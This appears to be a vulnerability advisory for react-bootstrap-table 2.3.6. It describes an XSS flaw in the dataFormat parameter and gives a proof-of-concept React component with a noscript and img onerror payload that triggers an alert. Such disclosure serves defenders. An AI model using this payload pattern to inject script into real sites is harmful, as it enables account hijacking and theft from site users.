react-bootstrap-table@2.3.6 vulnerabilities

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the dataFormat parameter. The problem is triggered when an invalid React element is returned, leading to dangerouslySetInnerHTML being used, which does not sanitize the output.

PoC by Michael Rodov

import React, { Component } from "react";
import ReactDOM from "react-dom";
import { BootstrapTable, TableHeaderColumn } from "react-bootstrap-table";

const Demo = props => {
  let data = [
    { key: "1", value: "test" },
    {
      key: "2",
      value:
        '/1337"><noscript><p title="</noscript><img src=x onerror=alert`openbugbounty`>">'
    }
  ];
  return (
    <BootstrapTable data={data}>
      <TableHeaderColumn dataField="key" isKey />
      <TableHeaderColumn dataField="value" dataFormat={v => v} />
    </BootstrapTable>
  );
};

ReactDOM.render(<Demo />, document.getElementById("app"));

There is no fixed version for react-bootstrap-table.